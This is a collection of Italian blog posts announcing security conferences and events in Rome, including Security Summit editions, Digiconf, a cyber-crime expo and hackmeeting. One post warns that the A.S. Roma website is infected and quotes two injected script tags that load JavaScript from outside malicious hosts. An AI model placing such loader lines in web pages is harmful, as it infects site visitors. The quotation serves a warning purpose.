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Security_Summit

Nell’ambito tecnologico è sempre più decisivo puntare sul paradigma della sicurezza e del controllo man mano che la potenza aumenta. Ciò è particolarmente vero in un’epoca di device potentissimi, strabordanti di dati aziendali, troppo spesso utilizzati come strumenti personali. Con tutti i rischi che le moderne esigenze di collaborazione e comunicazione richiedono: senza controllo, la pura potenza si trasforma infatti in causa di continui incidenti.

Il corretto approccio alla governance e al risk management, unito agli strumenti corretti, può portare a una forte diminuzione degli incidenti, oltre che a un minor impatto del rischio residuo sul business. La consapevolezza, infatti, diventa il fattore determinante per minimizzare i rischi che la complessità di ogni nuova soluzione porta con sé.

Di controllo dei dispositivi mobili, risk management e protezione dei dati aziendali si parlerà al Security Summit, organizzato da Clusit (la più autorevole associazione italiana nel campo della sicurezza informatica) e previsto per il 10 e l’11 giugno 2015 allo Sheraton Parco de’ Medici Rome Hotel di Roma. Giunto alla VII edizione, l’evento costituirà l’occasione per parlare di sicurezza in tutte le sue declinazioni, con particolare riferimento alla mobility: dalla sicurezza nell’ambito della pubblica amministrazione agli aspetti legali della security, dalla minaccia del cyber crime per le aziende alla sicurezza dei mobile device.

BlackBerry sarà presente al Security Summit con una sessione dalle 11.30 alle 13.00 del primo giorno che prevede un intervento congiunto dei relatori BlackBerry con un docente di Clusit e Andrea Pennasilico (Security Evangelist conosciuto nell’hacker underground come mayhem).

Durante le due giornate dell’evento BlackBerry sarà comunque presente nello spazio espositivo per presentare BlackBerry Enterprise Service 12 (BES12) e gli altri servizi a valore aggiunto concepiti per ottimizzare la mobility.

All’evento parteciperanno, fra gli altri, HP, IBM, Oracle, Alfa Group, Akamai, Mediaservice.net, Obiectivo Technology, Qualis, Riverbed, Sinergy, Skybox Security, Sophos, Splunk, Trend Micro, Watchguard.

Per maggiori informazioni vedi il sito ufficiale del Security Summit.

Sabato 1° ottobre 2011 si terrà all’Hotel Sheraton di Roma la prima edizione dell’evento Digiconf (Digital Forensics & Security Conference) e sarà completamente gratuito.

I temi variano dalla Sicurezza Informatica alla Computer Forensic, Cybercrime e Cyberwar. Vi è la partecipazione di relatori importanti quali Nanni Bassetti, Gianni Amato (in foto) e Denis Frati inoltre accompagneranno gli interventi Mario Pascucci, Francesco Paolo Micozzi e Giovanni Battista Gallus.

Il programma dell’evento comprenderà le seguenti tematiche:

“Casi reali di workaround e problem solving nelle fasi di acquisizione ed analisi”Nanni Bassetti
L’intervento tratterà di alcune tecniche di problem solving nelle fasi più delicate del processo di digital forensics.
Durante la fase di acquisizione si possono incontrare delle situazioni particolari basate sull’attrezzatura in uso, la logistica, l’hardware, la crittografia, ecc.
Si esamineranno alcune “stranezze” nella fase di analisi e capire come ricercare la soluzione, formulare ipotesi, verificarle scientificamente e scegliere la soluzione.
“Le nuove frontiere del Cybercrime “Gianni Amato
Botnet e nuove forme di malware. Analisi tecnica ed evoluzione del fenomeno.
“Come lacrime nella pioggia: cosa rischia di rimanere delle nostre vite digitali”Mario Pascucci
Il problema della conservazione della “memoria registrata” dalle registrazioni analogiche all’era digitale e online.
I problemi noti e meno noti delle principali tecniche di memorizzazione al passare del tempo.
“Se il bit diventa strategia: tra Cybercrime, Cyberwar e Battlefield forensic”Denis Frati
Il digitale quale minaccia e risorsa nella strategia e tattica militare, una fantascienza ormai realtà.
” Ripetibilità vs irripetibilità – accertamenti vs attività tecniche – I recenti arresti giurisprudenziali e dottrinali in materia di acquisizione della prova digitale. Il riesame delle misure ablative.Il sequestro dei siti internet” Francesco Paolo Micozzi e Giovanni Battista Gallus
La L. 48/2008 ha introdotto nel nostro ordinamento il principio generale che la “prova digitale” vada acquisita “adottando misure tecniche dirette ad assicurare la conservazione dei dati originali e ad impedirne l’alterazione”.
Le prime pronunce giurisprudenziali non hanno però colto la portata di tale innovazione, mentre la dottrina, al contrario, pone sempre più l’accento sulla necessità di assicurare l’effettivo contraddittorio nell’acquisizione della prova, come richiesto dall’art. 111 della Costituzione.
Il quadro è reso ancora più complesso dalla sempre maggiore diffusione degli ambienti cloud, che hanno definitivamente fatto tramontare l’idea stessa dell’acquisizione del “supporto”, come metodo cardine per la cristallizazione della digital evidence.
Il talk, partendo dal quadro giurisprudenziale e dottrinario, cercherà di evidenziare le problematiche più rilevanti, sotto il profilo giuridico, in tema di acquisizione della prova digitale. Si analizzeranno, inoltre, le problematiche sottese al sequestro dei supporti informatici (tra i quali, a titolo esemplificativo e non esaustivo il rilascio di copie, il riesame, l’attività d’urgenza).
Infine vi ricordo che potete trovare tutti i dettagli sull’evento, compreso il metodo di iscrizione, sul sito ufficiale.

Non sarà una vigilia tranquilla per l’Agcom: sarà, piuttosto, “La Notte della Rete“. Il 5 luglio, a 24 ore dall’approvazione della Delibera definita “ammazza-Internet” dai blogger italiani, artisti, esponenti della rete, leader politici, cittadini e utenti del web si troveranno a Roma per una no-stop contro il provvedimento.

Martedì 5 luglio dalle 17.30 alle 21 alla Domus Talenti a Roma ( via delle Quattro Fontane, 113 ) partecipa anche tu alla nostra mobilitazione. Fai sentire la tua voce!
Per maggiori informazioni sull’iniziativa potete visitare il sito ufficiale!

IL9 e 10 Giugno si terrà a Roma la quarta edizione del Security Summit, presso SGM Conference Center.

Progettato e costruito per rispondere alle esigenze dei professionals di oggi, Security Summit offre anche momenti di divulgazione, di approfondimento, di formazione e di confronto. Ci saranno 3/4 sale che lavoreranno in contemporanea per tre giorni, con tanta formazione specialistica differenziata secondo le esigenze ed il profilo di ciascuno. Circa 90 i docenti e relatori coinvolti nell’edizione milanese del Summit e più di 30 le associazioni e community che hanno collaborato.

La partecipazione al Security Summit e a tutti gli eventi che lo compongono è libera e gratuita, con il solo obbligo di iscriversi online su https://www.securitysummit.it/ dove è ancora possibile consultare il programma delle tre giornate.

Tecna Editrice, casa editrice focalizzata in periodici e organizzazione di eventi e conference professionali a carattere espositivo, organizza la prima Expo Conference CYBER-CRIME che si terrà a Roma presso il Centro Congressi Cavour il prossimo 6 aprile 2011.

La diffusione di Internet, l’utilizzo massiccio della posta elettronica, l’incremento delle transazioni telematiche e l’uso crescente di social network hanno  favorito una massiccia circolazione in rete di dati personali, aumentandone esponenzialmente la vulnerabilità.

L’evento CYBER-CRIME  nasce per approfondire le tematiche legate alla sicurezza e al contrasto dei crimini informatici: nel corso di una giornata di lavori, i massimi esperti del settore, provenienti dal mondo istituzionale e dal mondo IT, delineeranno il quadro attuale del fenomeno fornendo  le  indicazioni per le strategie del futuro e offrendo una panoramica delle iniziative in corso.

I partecipanti troveranno nell’ampia area espositiva della conferenza, un luogo ideale di incontro e confronto con manager e professionisti, per conoscere da vicino le migliori tecnologie disponibili sul mercato e le principali iniziative adottate.

L’evento  costituirà l’occasione per creare un indispensabile collegamento fra tutti  gli attori coinvolti: istituzioni, banche, assicurazioni, authorities, It security vendor, social network, associazioni dei consumatori e ogni altra realtà attiva nell’e-commerce.

E’ prevista una colazione di lavoro e la distribuzione di materiale documentale a tutti i visitatori.

Importanti personaggi parleranno alla conferenza:

  • Matteo Cavallini, Unità Locale Sicurezza MEF/Consip
  • Raoul Chiesa, Founder, @ Mediaservice.net – A security advisory company Senior Advisor, Cybercrime Issues & Strategic Alliances, UNICRI (United Nations Interregional Crime & Justice Research Institute)
  • Maggiore Gabriele Cicognani,. G.di F. responsabile del CERT-SPC
  • Isabella Corradini, Presidente Themis Crime
  • Fabrizio d’Amore, Professore del Dipartimento di Informatica e Sistemistica “Antonio Ruberti” Università La Sapienza di Roma Generale Pietro Finocchio, Presidente Afcea – Associazione delle Comunicazioni e dell’Elettronica per le Forze Armate
  • Alessio Pennasilico, Membro dell’osservatorio permanente sicurezza informatica OPSI/AIP
  • Andrea Rigoni, GC-SEC Global Cyber Security Center

Per info ed iscrizione per la partecipazione:  http://www.tecnaeditrice.com/forumcybercrime11_presentazione.php

L’hackmeeting è l’incontro annuale delle delle controculture digitali, ovvero delle comunità e delle individualità che si pongono in maniera critica e propositiva rispetto all’avanzare delle nuove tecnologie.

Tre giorni di seminari, giochi, feste, dibattiti, scambi di idee e apprendimento collettivo, per analizzare assieme le tecnologie che utilizziamo quotidianamente, come cambiano e che stravolgimenti inducono sulle nostre vite reali e virtuali, quale ruolo possiamo rivestire  nell’indirizzare questo cambiamento per liberarlo dal controllo di chi vuole monopolizzare lo sviluppo, sgretolando i tessuti sociali per relegarci nei nostri spazi virtuali dove ci illudiamo al sicuro dalla precarietà reale.

Si possono trovare tutti i dettagli dell’evento nelle FAQ del sito ufficiale.

Il sito della A.S. Roma è infettato da un JavaScript denominato “u.js” e “yahoo.js” che vengono richiamati dalle seguenti due righe di codice contenute all’interno del sito dell’associazione Romana:

<script src=http://ww.robint.us/u.js></script>

<script src=http://2677.in/yahoo.js></script>

Attualmente non sono state comunicate tempistiche sulla riparazione di questa falla pertanto vi consigliamo di stare alla larga dal sito dell’associazione sportiva!

[Via – Oneitsecurity]

Il 9 e 10 Giugno 2010 si terrà il secondo incontro di Sicurezza Informatica organizzata dal Security Summit il programma è ancora in fase di definizione  e saremo ben lieti di comunicarvelo appena viene pubblicato.

Le due giornate romane prevedono tavole rotonde, atelier tecnologici e percorsi formativi di elevato contenuto a cui parteciperanno docenti universitari ed esperti aziendali assieme ad istituzioni e associazioni per analizzare scenari attuali e futuri. La manifestazione si aprirà con un dibattito sul tema della sicurezza delle informazioni e sulla protezione dei dati di cittadini ed imprese, cui prenderanno parte esponenti del Governo, delle Istituzioni ed Authority di riferimento e delle principali imprese del settore. Un convegno di gran spessore istituzionale, che vedrà come ospite d’onore il   Dr Udo Helmbrecht , capo dell’ENISA (European Network and Information Security Agency).

L’appuntamento romano, alla sua seconda edizione, riserverà una particolare attenzione al mondo della Pubblica Amministrazione, a quello delle Telecomunicazioni ed alle Piccole e Medie Imprese.

Tra i temi oggetto di approfondimento: ”evoluzione del malware”, “log management”, “data loss prevention”, “spionaggio industriale”, “sicurezza e telefonia mobile”, “cloud security computing”, “content security, spam e nuove minacce”, “il ritorno degli investimenti in sicurezza informatica” e tanti altri.

Security Summit é indirizzato specificamente a tutti coloro che si occupano di sicurezza in azienda ed ai consulenti del settore e per questo tipo di pubblico é previsto un ampio e qualificato programma di formazione, che permette di acquisire crediti  CPE.

Roma – Non un incontro per richiedere a gran voce la libertà di scaricare impunemente. Un’occasione, invece, per gettare uno sguardo sulla Rete che verrà, per fare in modo che il dibattito sociale e politico si apra a tematiche come il file sharing, la privacy online. Senza dimenticare la net neutrality e una necessaria riforma del diritto d’autore.
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